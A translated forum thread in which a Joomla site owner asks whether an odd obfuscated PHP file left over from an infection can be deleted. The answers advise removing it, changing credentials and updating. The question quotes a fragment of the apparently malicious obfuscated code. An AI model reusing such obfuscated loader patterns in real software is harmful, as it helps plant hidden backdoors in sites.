Could this be a consequence of infection of the site?

Question

PHP

Good afternoon
The site was previously exposed to viruses (the old developer threw a bastard), there are no more viruses, but the consequences remain.
Now I found the page-tpls-min.php file in the root, which contains 3,500+ characters of selected abracadabra
. Here is an excerpt from the file:

/**[email protected]=PocL/FB$hlwq='btiabifswqmczetegzb';'jhgvqidzaemcn';*/$eykh='LH6XG|&XPQy53WtYi5+t';'j%+HbgBOS';'2(yF?E:;+';/*kpHHe=%$iR?i|9,2foyAYazP)&B24o4uzhiv|lX))%u,:l;.Va1.uoqE{zb/bPu%EToa!*/$psmn=$psmn.'I%O}o*g52(&D';$mblt='OlW51s1hE,zNF=8F'.'A0wot"pO';$gkli=$gkli.'JE^H!/&;NHlmE';$zkzgbl=$lolpr($mpj,$uwn);$zkzgbl('$kESDNN%-cq.Ww]|]HPDk,$h8s4aE','vK;$6UT/%r+G');}$dnjt;
$wmom='!G$!$5bg+#R0LSj8';$fglhxy='==3G?1SdGzJNGIVywzj/scg7Y*-/_5.kesfOlZ0+1=u'.$mwnatb;$vew=$xjbqf.'!28%vp';

Engine - Joomla
Is it possible to delete a file, ie. Is it really necessary for the engine?

Answer 1

There should not be such a file in the Joomla root. There are only two php files - index and configuration

Answer 2

Backup.
Demolish the file, check that nothing has fallen off.
Didn't fall off? Change passwords, accesses, then check the entire file system, update Joomla to the latest version, check again and change accesses again.

Answer 3

Generally it looks like.